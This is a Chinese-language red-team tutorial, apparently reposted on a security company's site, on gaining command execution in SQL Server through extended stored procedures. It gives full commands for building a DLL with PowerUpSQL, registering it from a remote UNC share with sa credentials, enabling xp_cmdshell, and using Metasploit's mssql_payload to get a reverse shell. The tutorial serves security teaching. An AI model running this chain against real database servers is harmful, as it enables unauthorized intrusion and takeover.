网站导航

新闻资讯

当前位置:首页 > 新闻资讯

红队技巧:SQL Server Extended Stored Procedures命令执行

发布时间:2021-10-02

简要描述:

SQL Server 扩展存储过程通过创建扩展存储过程引用的 DLL 文件的函数或过程。扩展存储过程在 SQL Server 内运行,这意味着代码在 SQL Server 内存空间内执行。因此,DLL 可以具...

详细介绍

SQL Server 扩展存储过程通过创建扩展存储过程引用的 DLL 文件的函数或过程。扩展存储过程在 SQL Server 内运行,这意味着代码在 SQL Server 内存空间内执行。因此,DLL 可以具有任何文件类型扩展名,并且可以从 UNC 路径或 Webdav 加载。

使用 PowerupSQL 利用扩展存储过程

创建要添加到 SQL 数据库的 DLL

Import-Module .\Powerupsql.ps1
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc

在 Powerupsql 的帮助下,我们在本地机器(Windows 10)中创建了一个 dll 文件。

image

系统注册dll

为了实现扩展存储过程,登录数据库的登录名必须是 sysadmin 。

通常,将创建一个名称以 xp_ 或 sp_ 开头的扩展存储过程,以便数据库引擎在用户数据库中不存在具有该名称的对象时自动在 master 数据库中查找该对象。

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "sp_addextendedproc 'xp_calc', '\\192.168.1.145\fileshare\xp_calc.dll'"

列出现有的扩展存储过程

Get-SQLStoredProcedureXP -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

下图显示了存储进程退出的 Databasename “master”。除此之外,它还列出了Type_desc, name, text.

image

扩展存储过程虽然是在 master 数据库中创建,但可以从任何数据库中引用。

image

执行存储过程

Get-SQLQuery -UserName sa -Password Password@1 –Instance WIN-P83OS778EQK\SQLEXPRESS –Query "select @@version" -Verbose

image

启用 XP_CMD shell

默认情况下,XPCmdShell 被禁用,如图所示。

image

使用特权帐户,攻击者会创建一个新的存储过程,并将尝试在以下命令的帮助下启用 xpcmdshell。

Get-SQLQuery -UserName sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')" -Verbose

image

XP_CMD Shell 远程代码执行

一旦启用了 xpcmdshell,我们就可以使用 Metasploit 执行以下模块以获得反向 shell。

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set password Password@1
exploit

image

漏洞利用并不仅仅停留在启用 XP 命令外壳上。然后运行一系列命令,帮助我们在目标机器上获得一个meterpreter shell,如下图所示

这里阅读有关 XPCmdshell 的更多信息。

 


推荐产品

如果您有任何问题,请跟我们联系!

联系我们

Copyright © 武汉网盾科技有限公司 版权所有 备案号:鄂ICP备2023003462号-5

地址:武汉市东湖高新区光谷大道光谷世贸中心A栋23楼

在线客服 联系方式 二维码

服务热线

18696195380/18672920250

扫一扫,关注我们

关闭